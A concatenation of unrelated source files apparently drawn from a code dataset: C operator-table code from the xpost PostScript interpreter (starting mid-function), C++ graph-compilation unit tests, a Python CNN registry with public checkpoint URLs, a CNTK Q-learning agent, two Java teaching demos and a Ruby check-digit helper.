op.mark_.tag = operatortype;
op.mark_.pad0 = 0;
op.mark_.padw = opcode;
if (opcode >= _xpost_noops)
{
XPOST_LOG_ERR("opcode does not index a valid operator");
return null;
}
return op;
}
/* construct an operator object by name
If function-pointer fp is not NULL, attempts to install a new operator
in OPTAB, otherwise just perform a lookup.
If installing a new operator, out and in specify the number of
output values the function may yield and the number of input
values whose presence and types should be checked.
There should follow 'in' number of typenames passed after 'in'.
*/
Xpost_Object xpost_operator_cons(Xpost_Context *ctx,
const char *name,
/*@null@*/ Xpost_Op_Func fp,
int out,
int in, ...)
{
Xpost_Object nm;
Xpost_Object o;
int opcode;
int i;
unsigned si;
unsigned t;
unsigned vmmode;
Xpost_Signature *sp;
Xpost_Operator *optab;
Xpost_Operator op;
unsigned int optadr;
int ret;
//fprintf(stderr, "name: %s\n", name);
assert(ctx->gl->base);
ret = xpost_memory_table_get_addr(ctx->gl,
XPOST_MEMORY_TABLE_SPECIAL_OPERATOR_TABLE, &optadr);
if (!ret)
{
XPOST_LOG_ERR("cannot load optab!");
return null;
}
optab = (void *)(ctx->gl->base + optadr);
if (!(in < XPOST_STACK_SEGMENT_SIZE))
{
printf("!(in < XPOST_STACK_SEGMENT_SIZE) in xpost_operator_cons(%s, %d. %d)\n", name, out, in);
fprintf(stderr, "!(in < XPOST_STACK_SEGMENT_SIZE) in xpost_operator_cons(%s, %d. %d)\n", name, out, in);
exit(EXIT_FAILURE);
}
//assert(in < XPOST_STACK_SEGMENT_SIZE); // or else xpost_operator_exec can't call it using HOLD
vmmode=ctx->vmmode;
ctx->vmmode = GLOBAL;
nm = xpost_name_cons(ctx, name);
if (xpost_object_get_type(nm) == invalidtype)
return invalid;
ctx->vmmode = vmmode;
optab = (void *)(ctx->gl->base + optadr);
for (opcode = 0; optab[opcode].name != nm.mark_.padw; opcode++)
{
if (opcode == _xpost_noops) break;
}
/* install a new signature (prototype) */
if (fp)
{
if (opcode == _xpost_noops)
{ /* a new operator */
unsigned adr;
if (_xpost_noops == MAXOPS-1)
{
XPOST_LOG_ERR("optab too small in xpost_operator.h");
XPOST_LOG_ERR("operator %s NOT installed", name);
return null;
}
if (!xpost_memory_file_alloc(ctx->gl, sizeof(Xpost_Signature), &adr))
{
XPOST_LOG_ERR("cannot allocate signature block");
XPOST_LOG_ERR("operator %s NOT installed", name);
return null;
}
optab = (void *)(ctx->gl->base + optadr); // recalc
op.name = nm.mark_.padw;
op.n = 1;
op.sigadr = adr;
optab[opcode] = op;
++_xpost_noops;
si = 0;
}
else
{ /* increase sig table by 1 */
t = xpost_free_realloc(ctx->gl,
optab[opcode].sigadr,
optab[opcode].n * sizeof(Xpost_Signature),
(optab[opcode].n + 1) * sizeof(Xpost_Signature));
if (!t)
{
XPOST_LOG_ERR("cannot allocate new sig table");
XPOST_LOG_ERR("operator %s NOT installed", name);
return null;
}
optab = (void *)(ctx->gl->base + optadr); // recalc
optab[opcode].sigadr = t;
si = optab[opcode].n++; /* index of last sig */
}
sp = (void *)(ctx->gl->base + optab[opcode].sigadr);
{
unsigned int ad;
if (!xpost_memory_file_alloc(ctx->gl, in, &ad))
{
XPOST_LOG_ERR("cannot allocate type block");
XPOST_LOG_ERR("operator %s NOT installed", name);
return null;
}
optab = (void *)(ctx->gl->base + optadr); // recalc
sp = (void *)(ctx->gl->base + optab[opcode].sigadr); // recalc
sp[si].t = ad;
}
{
va_list args;
byte *b = (void *)(ctx->gl->base + sp[si].t);
va_start(args, in);
for (i = in-1; i >= 0; i--) {
b[i] = va_arg(args, int);
}
va_end(args);
sp[si].in = in;
sp[si].out = out;
sp[si].fp = (int(*)(Xpost_Context *))fp;
sp[si].checkstack = NULL;
{
int j;
int k;
int pass;
for (j = 0; j < (int)(sizeof _check_stack_funcs/sizeof*_check_stack_funcs); j++)
{
if (_check_stack_funcs[j].n == sp[si].in)
{
pass = 1;
for (k=0; k < _check_stack_funcs[j].n; k++)
{
if (b[k] != _check_stack_funcs[j].t[k])
{
pass = 0;
break;
}
}
if (pass)
{
sp[si].checkstack = _check_stack_funcs[j].checkstack;
break;
}
}
}
}
//sp[si].checkstack = NULL;
}
}
else if (opcode == _xpost_noops)
{
XPOST_LOG_ERR("operator not found");
return null;
}
o.tag = operatortype;
o.mark_.padw = opcode;
return o;
}
/* clear hold and pop n objects from opstack to hold stack.
The hold stack is used as temporary storage to hold the
arguments for an operator-function call.
If the operator-function does not itself call xpost_operator_exec,
the arguments may be restored by xpost_interpreter.c:_on_error().
xpost_operator_exec checks its argument with ctx->currentobject
and sets a flag indicating consistency which is then checked by
on_error()
Composite Object constructors also add their objects to the
hold stack, in defense against garbage collection occurring
from a subsequent allocation before the object is returned
to the stack.
on_error() also uses the number of args from ctx->currentobject.mark_.pad0
instead of the stack count so these extra gc-defense stack objects
will not be erroneously returned to postscript in response to an
operator error.
*/
static
void _xpost_operator_push_args_to_hold(Xpost_Context *ctx,
Xpost_Memory_File *mem,
unsigned stacadr,
int n)
{
int j;
assert(n < XPOST_MEMORY_TABLE_SIZE);
xpost_stack_clear(ctx->lo, ctx->hold);
for (j = n; j--;)
{ /* copy */
xpost_stack_push(ctx->lo, ctx->hold,
xpost_stack_topdown_fetch(mem, stacadr, j));
}
for (j = n; j--;)
{ /* pop */
(void)xpost_stack_pop(mem, stacadr);
}
}
/* execute an operator function by opcode
the opcode is the payload of an operator object
*/
int xpost_operator_exec(Xpost_Context *ctx,
unsigned opcode)
{
Xpost_Operator *optab;
Xpost_Operator op;
Xpost_Signature *sp;
int i,j;
int pass;
int err = unregistered;
Xpost_Stack *hold;
int ct;
unsigned int optadr;
int ret;
ret = xpost_memory_table_get_addr(ctx->gl,
XPOST_MEMORY_TABLE_SPECIAL_OPERATOR_TABLE, &optadr);
if (!ret)
{
XPOST_LOG_ERR("cannot load optab!");
return VMerror;
}
optab = (void *)(ctx->gl->base + optadr);
op = optab[opcode];
sp = (void *)(ctx->gl->base + op.sigadr);
ct = xpost_stack_count(ctx->lo, ctx->os);
if (op.n == 0)
{
XPOST_LOG_ERR("operator has no signatures");
return unregistered;
}
for (i =0 ; i < op.n; i++)
{ /* try each signature */
byte *t;
/* call signature's stack-checking proc, if available */
if (sp[i].checkstack)
{
if ((ret = sp[i].checkstack(ctx)))
{
err = ret;
continue;
}
goto call;
}
/* check stack size */
if (ct < sp[i].in)
{
pass = 0;
err = stackunderflow;
continue;
}
/* check type-pattern against stack */
pass = 1;
t = (void *)(ctx->gl->base + sp[i].t);
for (j=0; j < sp[i].in; j++)
{
Xpost_Object el = xpost_stack_topdown_fetch(ctx->lo, ctx->os, j);
if (t[j] == anytype)
continue;
if (t[j] == xpost_object_get_type(el))
continue;
if ((t[j] == numbertype) &&
(((xpost_object_get_type(el) == integertype) ||
(xpost_object_get_type(el) == realtype))))
continue;
if (t[j] == floattype)
{
if (xpost_object_get_type(el) == integertype)
{
if (!xpost_stack_topdown_replace(ctx->lo, ctx->os, j, el = _promote_integer_to_real(el)))
return unregistered;
continue;
}
if (xpost_object_get_type(el) == realtype)
continue;
}
if ((t[j] == proctype) &&
(xpost_object_get_type(el) == arraytype) &&
xpost_object_is_exe(el))
continue;
pass = 0;
err = typecheck;
break;
}
if (pass) goto call;
}
return err;
call:
/* If we're executing the context's "currentobject",
set the number of arguments consumed in the pad0 of currentobject,
and set a flag declaring that this has been done.
This is so onerror() can reset the stack
(if hold has not been clobbered by another call to xpost_operator_exec).
*/
if ((ctx->currentobject.tag == operatortype) &&
(ctx->currentobject.mark_.padw == opcode))
{
ctx->currentobject.mark_.pad0 = sp[i].in;
ctx->currentobject.tag |= XPOST_OBJECT_TAG_DATA_FLAG_OPARGSINHOLD;
}
else
{
/* Not executing current op.
HOLD may *not* be assumed to contain currentobject's arguments.
clear the flag.
*/
ctx->currentobject.tag &= ~XPOST_OBJECT_TAG_DATA_FLAG_OPARGSINHOLD;
}
_xpost_operator_push_args_to_hold(ctx, ctx->lo, ctx->os, sp[i].in);
hold = (void *)(ctx->lo->base + ctx->hold);
switch(sp[i].in)
{
case 0:
ret = sp[i].fp(ctx); break;
case 1:
ret = ((int(*)(Xpost_Context*,Xpost_Object))sp[i].fp)
(ctx, hold->data[0]); break;
case 2:
ret = ((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1]); break;
case 3:
ret = ((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1], hold->data[2]); break;
case 4:
ret = ((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1], hold->data[2], hold->data[3]); break;
case 5:
ret = ((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1], hold->data[2], hold->data[3], hold->data[4]); break;
case 6:
ret = ((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1], hold->data[2], hold->data[3], hold->data[4], hold->data[5]); break;
case 7:
ret = ((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1], hold->data[2], hold->data[3], hold->data[4], hold->data[5], hold->data[6]); break;
case 8:
ret =
((int(*)(Xpost_Context*,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object,Xpost_Object))sp[i].fp)
(ctx, hold->data[0], hold->data[1], hold->data[2], hold->data[3], hold->data[4], hold->data[5], hold->data[6], hold->data[7]); break;
default:
ret = unregistered;
}
if (ret)
return ret;
return 0;
}
|
ishine/deepx_core | src/graph/graph_test.cc | // Copyright 2019 the deepx authors.
// Author: <NAME> (<EMAIL>)
//
#include <deepx_core/common/stream.h>
#include <deepx_core/graph/graph.h>
#include <gtest/gtest.h>
#include <string>
#include <vector>
namespace deepx_core {
class GraphTest : public testing::Test {
protected:
Graph graph;
const GraphTarget* null = nullptr;
};
TEST_F(GraphTest, Compile_duplicate_name) {
VariableNode X1("X", Shape(2, 3));
ReduceMeanNode X2("X", &X1, 1, 1);
EXPECT_TRUE(X1.IsValidName());
EXPECT_TRUE(X2.IsValidName());
ASSERT_FALSE(graph.Compile({&X2}, 0));
}
TEST_F(GraphTest, Compile_1_target_invalid_name) {
VariableNode X1("X1", Shape(2, 3));
VariableNode X2("X2", Shape(2, 3));
AddNode X3("?", &X1, &X2);
ReduceMeanNode X4("", &X3, 1, 1);
EXPECT_TRUE(X1.IsValidName());
EXPECT_TRUE(X2.IsValidName());
EXPECT_FALSE(X3.IsValidName());
EXPECT_FALSE(X4.IsValidName());
ASSERT_TRUE(graph.Compile({&X4}, 0));
EXPECT_TRUE(X1.IsValidName());
EXPECT_TRUE(X2.IsValidName());
EXPECT_TRUE(X3.IsValidName());
EXPECT_TRUE(X4.IsValidName());
}
TEST_F(GraphTest, Compile_2_target_invalid_name) {
VariableNode X1("X1", Shape(2, 3));
VariableNode X2("X2", Shape(2, 3));
AddNode X3("?", &X1, &X2);
MulNode X4("?", &X1, &X2);
ReduceMeanNode X5("", &X3, 1, 1);
ReduceMeanNode X6("", &X4, 1, 1);
EXPECT_TRUE(X1.IsValidName());
EXPECT_TRUE(X2.IsValidName());
EXPECT_FALSE(X3.IsValidName());
EXPECT_FALSE(X4.IsValidName());
EXPECT_FALSE(X5.IsValidName());
EXPECT_FALSE(X6.IsValidName());
ASSERT_TRUE(graph.Compile({&X5, &X6}, 0));
EXPECT_TRUE(X1.IsValidName());
EXPECT_TRUE(X2.IsValidName());
EXPECT_TRUE(X3.IsValidName());
EXPECT_TRUE(X4.IsValidName());
EXPECT_TRUE(X5.IsValidName());
EXPECT_TRUE(X6.IsValidName());
}
TEST_F(GraphTest, Compile_1_target) {
VariableNode X1("X1", Shape(2, 3));
ReduceMeanNode X2("X2", &X1, 1, 1);
ASSERT_TRUE(graph.Compile({&X2}, 0));
EXPECT_EQ(X1.need_grad(), 1);
EXPECT_EQ(X1.output_size(), 1);
EXPECT_EQ(X1.input_fork(), 0);
EXPECT_FALSE(X1.is_target());
EXPECT_EQ(X2.need_grad(), 1);
EXPECT_EQ(X2.output_size(), 0);
EXPECT_EQ(X2.input_fork(), 0);
EXPECT_TRUE(X2.is_target());
ASSERT_EQ(graph.target_size(), 1);
EXPECT_EQ(graph.target(0).name(), X2.name());
EXPECT_EQ(graph.target(0).forward_name(),
std::vector<std::string>({X1.name(), X2.name()}));
EXPECT_EQ(graph.find_target(X1.name()), null);
EXPECT_EQ(graph.find_target(X2.name()), &graph.target(0));
EXPECT_EQ(graph.find_node(X1.name()), &X1);
EXPECT_EQ(graph.find_node(X2.name()), &X2);
EXPECT_EQ(graph.find_target(X1.node_id()), null);
EXPECT_EQ(graph.find_target(X2.node_id()), &graph.target(0));
EXPECT_EQ(graph.find_node(X1.node_id()), &X1);
EXPECT_EQ(graph.find_node(X2.node_id()), &X2);
}
TEST_F(GraphTest, Compile_2_target_on_heap) {
auto* X1 = new VariableNode("X1", Shape(2, 3));
auto* X2 = new ReduceMeanNode("X2", X1, 1, 1);
ASSERT_TRUE(graph.Compile({X1, X2}, 1));
EXPECT_EQ(X1->need_grad(), 1);
EXPECT_EQ(X1->output_size(), 1);
EXPECT_EQ(X1->input_fork(), 0);
EXPECT_TRUE(X1->is_target());
EXPECT_EQ(X2->need_grad(), 1);
EXPECT_EQ(X2->output_size(), 0);
EXPECT_EQ(X2->input_fork(), 0);
EXPECT_TRUE(X2->is_target());
ASSERT_EQ(graph.target_size(), 2);
EXPECT_EQ(graph.target(0).name(), X1->name());
EXPECT_EQ(graph.target(0).forward_name(),
std::vector<std::string>({X1->name()}));
EXPECT_EQ(graph.target(1).name(), X2->name());
EXPECT_EQ(graph.target(1).forward_name(),
std::vector<std::string>({X1->name(), X2->name()}));
EXPECT_EQ(graph.find_target(X1->name()), &graph.target(0));
EXPECT_EQ(graph.find_target(X2->name()), &graph.target(1));
EXPECT_EQ(graph.find_node(X1->name()), X1);
EXPECT_EQ(graph.find_node(X2->name()), X2);
EXPECT_EQ(graph.find_target(X1->node_id()), &graph.target(0));
EXPECT_EQ(graph.find_target(X2->node_id()), &graph.target(1));
EXPECT_EQ(graph.find_node(X1->node_id()), X1);
EXPECT_EQ(graph.find_node(X2->node_id()), X2);
}
TEST_F(GraphTest, Compile_2_target_on_heap_fork) {
auto* X1 = new VariableNode("X1", Shape(2, 3));
auto* X2 = new ReduceMeanNode("X2", X1, 0, 1);
auto* X3 = new ReduceSumNode("X3", X1, 0, 1);
auto* X4 = new AddNode("X4", X2, X3);
auto* X5 = new SubNode("X5", X2, X3);
ASSERT_TRUE(graph.Compile({X4, X5}, 1));
EXPECT_EQ(X1->need_grad(), 1);
EXPECT_EQ(X1->output_size(), 2);
EXPECT_EQ(X1->input_fork(), 0);
EXPECT_FALSE(X1->is_target());
EXPECT_EQ(X2->need_grad(), 1);
EXPECT_EQ(X2->output_size(), 2);
EXPECT_EQ(X2->input_fork(), 1);
EXPECT_FALSE(X2->is_target());
EXPECT_EQ(X3->need_grad(), 1);
EXPECT_EQ(X3->output_size(), 2);
EXPECT_EQ(X3->input_fork(), 1);
EXPECT_FALSE(X3->is_target());
EXPECT_EQ(X4->need_grad(), 1);
EXPECT_EQ(X4->output_size(), 0);
EXPECT_EQ(X4->input_fork(), 1);
EXPECT_TRUE(X4->is_target());
EXPECT_EQ(X5->need_grad(), 1);
EXPECT_EQ(X5->output_size(), 0);
EXPECT_EQ(X5->input_fork(), 1);
EXPECT_TRUE(X5->is_target());
ASSERT_EQ(graph.target_size(), 2);
EXPECT_EQ(graph.target(0).name(), X4->name());
EXPECT_EQ(graph.target(0).forward_name(),
std::vector<std::string>(
{X1->name(), X2->name(), X3->name(), X4->name()}));
EXPECT_EQ(graph.target(1).name(), X5->name());
EXPECT_EQ(graph.target(1).forward_name(),
std::vector<std::string>(
{X1->name(), X2->name(), X3->name(), X5->name()}));
EXPECT_EQ(graph.find_target(X1->name()), null);
EXPECT_EQ(graph.find_target(X2->name()), null);
EXPECT_EQ(graph.find_target(X3->name()), null);
EXPECT_EQ(graph.find_target(X4->name()), &graph.target(0));
EXPECT_EQ(graph.find_target(X5->name()), &graph.target(1));
EXPECT_EQ(graph.find_node(X1->name()), X1);
EXPECT_EQ(graph.find_node(X2->name()), X2);
EXPECT_EQ(graph.find_node(X3->name()), X3);
EXPECT_EQ(graph.find_node(X4->name()), X4);
EXPECT_EQ(graph.find_node(X5->name()), X5);
EXPECT_EQ(graph.find_target(X1->node_id()), null);
EXPECT_EQ(graph.find_target(X2->node_id()), null);
EXPECT_EQ(graph.find_target(X3->node_id()), null);
EXPECT_EQ(graph.find_target(X4->node_id()), &graph.target(0));
EXPECT_EQ(graph.find_target(X5->node_id()), &graph.target(1));
EXPECT_EQ(graph.find_node(X1->node_id()), X1);
EXPECT_EQ(graph.find_node(X2->node_id()), X2);
EXPECT_EQ(graph.find_node(X3->node_id()), X3);
EXPECT_EQ(graph.find_node(X4->node_id()), X4);
EXPECT_EQ(graph.find_node(X5->node_id()), X5);
}
TEST_F(GraphTest, Compile_2_targets_on_heap_fork_no_grad) {
auto* X1 = new ConstantNode("X1", Shape(2, 3), 0);
auto* X2 = new ReduceMeanNode("X2", X1, 0, 1);
auto* X3 = new ReduceSumNode("X3", X1, 0, 1);
auto* X4 = new AddNode("X4", X2, X3);
auto* X5 = new SubNode("X5", X2, X3);
ASSERT_TRUE(graph.Compile({X4, X5}, 1));
EXPECT_EQ(X1->need_grad(), 0);
EXPECT_EQ(X1->output_size(), 2);
EXPECT_EQ(X1->input_fork(), 0);
EXPECT_FALSE(X1->is_target());
EXPECT_EQ(X2->need_grad(), 0);
EXPECT_EQ(X2->output_size(), 2);
EXPECT_EQ(X2->input_fork(), 1);
EXPECT_FALSE(X2->is_target());
EXPECT_EQ(X3->need_grad(), 0);
EXPECT_EQ(X3->output_size(), 2);
EXPECT_EQ(X3->input_fork(), 1);
EXPECT_FALSE(X3->is_target());
EXPECT_EQ(X4->need_grad(), 0);
EXPECT_EQ(X4->output_size(), 0);
EXPECT_EQ(X4->input_fork(), 1);
EXPECT_TRUE(X4->is_target());
EXPECT_EQ(X5->need_grad(), 0);
EXPECT_EQ(X5->output_size(), 0);
EXPECT_EQ(X5->input_fork(), 1);
EXPECT_TRUE(X4->is_target());
ASSERT_EQ(graph.target_size(), 2);
EXPECT_EQ(graph.target(0).name(), X4->name());
EXPECT_EQ(graph.target(0).forward_name(),
std::vector<std::string>(
{X1->name(), X2->name(), X3->name(), X4->name()}));
EXPECT_EQ(graph.target(1).name(), X5->name());
EXPECT_EQ(graph.target(1).forward_name(),
std::vector<std::string>(
{X1->name(), X2->name(), X3->name(), X5->name()}));
EXPECT_EQ(graph.find_target(X1->name()), null);
EXPECT_EQ(graph.find_target(X2->name()), null);
EXPECT_EQ(graph.find_target(X3->name()), null);
EXPECT_EQ(graph.find_target(X4->name()), &graph.target(0));
EXPECT_EQ(graph.find_target(X5->name()), &graph.target(1));
EXPECT_EQ(graph.find_node(X1->name()), X1);
EXPECT_EQ(graph.find_node(X2->name()), X2);
EXPECT_EQ(graph.find_node(X3->name()), X3);
EXPECT_EQ(graph.find_node(X4->name()), X4);
EXPECT_EQ(graph.find_node(X5->name()), X5);
EXPECT_EQ(graph.find_target(X1->node_id()), null);
EXPECT_EQ(graph.find_target(X2->node_id()), null);
EXPECT_EQ(graph.find_target(X3->node_id()), null);
EXPECT_EQ(graph.find_target(X4->node_id()), &graph.target(0));
EXPECT_EQ(graph.find_target(X5->node_id()), &graph.target(1));
EXPECT_EQ(graph.find_node(X1->node_id()), X1);
EXPECT_EQ(graph.find_node(X2->node_id()), X2);
EXPECT_EQ(graph.find_node(X3->node_id()), X3);
EXPECT_EQ(graph.find_node(X4->node_id()), X4);
EXPECT_EQ(graph.find_node(X5->node_id()), X5);
}
TEST_F(GraphTest, WriteRead) {
VariableNode X1("X1", Shape(2, 3));
ReduceMeanNode X2("X2", &X1, 1, 1);
Graph read_graph;
ASSERT_TRUE(graph.Compile({&X2}, 0));
OutputStringStream os;
InputStringStream is;
ASSERT_TRUE(graph.Write(os));
is.SetView(os.GetBuf());
EXPECT_FALSE(read_graph.compiled());
ASSERT_TRUE(read_graph.Read(is));
ASSERT_TRUE(read_graph.compiled());
ASSERT_EQ(graph.target_size(), read_graph.target_size());
for (int i = 0; i < graph.target_size(); ++i) {
EXPECT_EQ(graph.target(i).name(), read_graph.target(i).name());
EXPECT_EQ(graph.target(i).forward_name(),
read_graph.target(i).forward_name());
}
}
} // namespace deepx_core
|
medtune/Models_tf_keras | models/cnn/famous_cnn/__init__.py | from . import densenet
from . import mobilenet
from . import mobilenetv2
from . import inception_v3
from . import inception_resnet
from . import inception_resnet_v2
from . import resnet
from . import vgg16
from . import vgg19
# This dictionnary contains the different Convolutional
# Neural Nertworks that we can invoke in order to perform
# image recognition
default_names = ['densenet_121', 'densenet_169', 'densenet_201',
'densenet_264', 'mobilenet_v1', 'mobilenet_v2',
'vgg_16', 'vgg_19']
# Dict to retrieve naming that we pass to warm-start settings
naming_mapping = {
'densenet_121': 'densenet121',
'densenet_169': 'densenet169',
'densenet_201': 'densenet201',
'densenet_264': 'densenet264',
'mobilenet_v1': 'MobilenetV1',
'mobilenet_v2': 'MobilenetV2',
'vgg_16': 'vgg_16',
'vgg_19': 'vgg_19'
}
# Dict to retrieve CNN architecture
architectures = {
'densenet_121': densenet.densenet_121,
'densenet_169': densenet.densenet_169,
'densenet_201': densenet.densenet_201,
'densenet_264': densenet.densenet_264,
'mobilenet_v1': mobilenet.mobilenet_v1,
'mobilenet_v2': mobilenetv2.mobilenet_v2,
'vgg_16': vgg16.vgg_16,
'vgg_19': vgg19.vgg_19
}
# URL of checkpoints of famous CNN models trained on imagenet
# (.ref https://github.com/tensorflow/models/tree/master/research/slim)
checkpoints = {
'densenet_121': 'https://drive.google.com/uc?authuser=0&id=0B_fUSpodN0t0eW1sVk1aeWREaDA&export=download',
'densenet_169': 'https://drive.google.com/uc?authuser=0&id=0B_fUSpodN0t0TDB5Ti1PeTZMM2c&export=download',
'mobilenet_v1_1.0': 'http://download.tensorflow.org/models/mobilenet_v1_2018_02_22/mobilenet_v1_1.0_224.tgz',
'mobilenet_v1_0.5': 'http://download.tensorflow.org/models/mobilenet_v1_2018_02_22/mobilenet_v1_0.5_160.tgz',
'mobilenet_v1_0.25': 'http://download.tensorflow.org/models/mobilenet_v1_2018_02_22/mobilenet_v1_0.25_128.tgz',
'mobilenet_v2_1.0': 'https://storage.googleapis.com/mobilenet_v2/checkpoints/mobilenet_v2_1.0_224.tgz',
'mobilenet_v2_1.4': 'https://storage.googleapis.com/mobilenet_v2/checkpoints/mobilenet_v2_1.4_224.tgz',
'vgg_16': 'http://download.tensorflow.org/models/vgg_16_2016_08_28.tar.gz',
'vgg_19': 'http://download.tensorflow.org/models/vgg_19_2016_08_28.tar.gz'
}
# Slim models contains their own variable_scope. It differs from tf.layers & tf.keras
# especially for Conv2d/ DepthwiseConv2D. We have to write the mapping from
# new variables scopes to old variables scopes
var_name_to_prev_var_name = {
'densenet_121': densenet.slim_to_keras_namescope(densenet.DENSENET121_BLOCKS),
'densenet_169': densenet.slim_to_keras_namescope(densenet.DENSENET169_BLOCKS),
'densenet_201': densenet.slim_to_keras_namescope(densenet.DENSENET201_BLOCKS),
'densenet_264': densenet.slim_to_keras_namescope(densenet.DENSENET264_BLOCKS),
'mobilenet_v1': mobilenet.slim_to_keras_namescope(),
'mobilenet_v2':mobilenetv2.slim_to_keras_namescope(),
'vgg_16': vgg16.slim_to_keras_namescope(),
'vgg_19': vgg19.slim_to_keras_namescope(),
} |
shyamalschandra/CNTK | bindings/python/cntk/contrib/deeprl/agent/tabular_qlearning.py | # Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license. See LICENSE.md file in the project root
# for full license information.
# ==============================================================================
"""Tabular Q-learning."""
import copy
import numpy as np
from .agent import AgentBaseClass
from .shared.qlearning_parameters import QLearningParameters
class TabularQLearning(AgentBaseClass):
"""Q-learning agent with tabular representation."""
def __init__(self, cfg_filename, o_space, a_space):
"""Constructor for Q learning algorithm with tabular representation."""
super(TabularQLearning, self).__init__(o_space, a_space)
self._parameters = QLearningParameters(cfg_filename)
if self._parameters.q_representation != 'tabular':
raise ValueError(
'Unexpected representation for tabular Q-learning: "{0}"'
'\n'.format(self._parameters.q_representation))
# Discretize the observation space if necessary
if self._classname(o_space) != 'gym.spaces.discrete.Discrete':
self._discretize_observation_space(
o_space, self._parameters.discretization_resolution)
self._q = self._parameters.initial_q + \
np.zeros((self._num_states, self._num_actions))
print('Initialized discrete Q-learning agent with {0} states and '
'{1} actions.'.format(self._num_states, self._num_actions))
self.episode_count = 0
# step_count is incremented each time after receiving reward.
self.step_count = 0
def start(self, state):
"""Start a new episode."""
self._adjust_exploration_rate()
self._last_state = self._preprocess_state(state)
self._last_action, action_behavior = \
self._choose_action(self._last_state)
self.episode_count += 1
return self._last_action, {
'action_behavior': action_behavior,
'epsilon': self._epsilon}
def step(self, reward, next_state):
"""Observe one transition and choose an action."""
self._adjust_learning_rate()
self.step_count += 1
next_encoded_state = self._preprocess_state(next_state)
td_err = reward + self._parameters.gamma * \
np.max(self._q[next_encoded_state]) - \
self._q[self._last_state, self._last_action]
self._q[self._last_state, self._last_action] += self._eta * td_err
self._adjust_exploration_rate()
self._last_state = next_encoded_state
self._last_action, action_behavior = self._choose_action(
self._last_state)
return self._last_action, {
'action_behavior': action_behavior,
'epsilon': self._epsilon}
def end(self, reward, next_state):
"""Last observed reward/state of the episode (which then terminates)."""
self._adjust_learning_rate()
self.step_count += 1
td_err = reward - self._q[self._last_state, self._last_action]
self._q[self._last_state, self._last_action] += self._eta * td_err
def set_as_best_model(self):
"""Copy current model to best model."""
self._best_model = copy.deepcopy(self._q)
def save(self, filename):
"""Save best model to file."""
with open(filename, 'w') as f:
for s in range(self._num_states):
f.write('{0}\t{1}\n'.format(s, str(self._best_model[s])))
def save_parameter_settings(self, filename):
"""Save parameter settings to file."""
self._parameters.save(filename)
def enter_evaluation(self):
"""Setup before evaluation."""
self._epsilon = 0
def _adjust_learning_rate(self):
self._eta = self._parameters.eta_minimum + max(
0,
(self._parameters.initial_eta - self._parameters.eta_minimum) *
(1 - float(self.step_count)/self._parameters.eta_decay_step_count))
def _adjust_exploration_rate(self):
self._epsilon = self._parameters.epsilon_minimum + max(
0,
(self._parameters.initial_epsilon - self._parameters.epsilon_minimum) *
(1 - float(self.step_count)/self._parameters.epsilon_decay_step_count))
def _choose_action(self, state):
"""Epsilon greedy policy."""
if np.random.uniform(0, 1) < self._epsilon:
return np.random.randint(self._num_actions), 'RANDOM'
else:
return np.argmax(self._q[state]), 'GREEDY'
def _preprocess_state(self, state):
"""Discretize state to table row index."""
o = self._discretize_state_if_necessary(state)
return o
|
kekaiyuan/javaquestion | reflectdemo/src/kky/Test.java | package kky;
import java.lang.reflect.Method;
/**
* @author 柯凯元
* @create 2021/6/14 16:43
*/
public class Test {
public Test(){}
public void Test() {
System.out.println("I'm Test1");
}
public void Test(String str) {
System.out.println("I'm Test2");
}
public void Test(String str, boolean b) {
System.out.println("I'm Test3");
}
public static void main(String[] args) throws Exception {
//创建 Class 对象
Class<Test> testClass = Test.class;
//创建对象
Object object = testClass.newInstance();
//查找方法并调用,注意参数列表
Method method = testClass.getDeclaredMethod("Test");
method.invoke(object);
method = testClass.getDeclaredMethod("Test", String.class);
method.invoke(object, "helloworld");
method = testClass.getDeclaredMethod("Test", String.class, boolean.class);
method.invoke(object, "helloworld", true);
}
}
|
sywhu/Java | day13/code/day13_StringBuffer/src/cn/itcast_05/StringBufferDemo.java | package cn.itcast_05;
/*
* 1:String,StringBuffer,StringBuilder的区别?
* A:String长度固定,StringBuffer和StringBuilder的长度可变。
* B:StringBuffer线程安全,效率低。StringBuilder线程不安全,效率高。
*
* 2:StringBuffer和数组的区别
* A:StringBuffer的长度可变,可以存储任意数据类型,最终结果其实是一个字符串。
* B:数组长度固定,存储同一种数据类型的元素。
*
* 3:看程序写结果:
* String作为参数传递,StringBuffer作为参数传递
*
* String是一种特殊的引用类型,在作为参数传递的时候,可以当作基本类型来看。因为它传递的也是常量值。
*
*/
public class StringBufferDemo {
public static void main(String[] args) {
String s1 = "hello";
String s2 = "world";
System.out.println(s1 + "---" + s2); // hello---world
change(s1, s2);
System.out.println(s1 + "---" + s2);// world---worldworld???
StringBuffer sb1 = new StringBuffer("hello");
StringBuffer sb2 = new StringBuffer("world");
System.out.println(sb1 + "---" + sb2);// hello---world
change(sb1, sb2);
System.out.println(sb1 + "---" + sb2); // world---worldworld???
}
public static void change(StringBuffer sb1, StringBuffer sb2) {
System.out.println(sb1 + "---" + sb2);// hello---world
sb1 = sb2;// sb1="world"
sb2 = sb1.append(sb2); // sb2=worldworld
System.out.println(sb1 + "---" + sb2);// world---worldworld ???
}
public static void change(String s1, String s2) {
System.out.println(s1 + "---" + s2);// hello---world
s1 = s2; // s1=world
s2 = s1 + s2; // s2=worldworld
System.out.println(s1 + "---" + s2); // world---worldworld
}
}
|
masakoyokozuka/sample2 | lib/util/string/check_digit.rb | class Util::String::CheckDigit
def self.check(value)
digit = 0
value.to_s.split(//).reverse.each_with_index do |chr, idx|
digit += chr.to_i * (idx.even? ? 3 : 1)
end
digit = (10 - (digit % 10)) % 10
value.to_s + digit.to_s
end
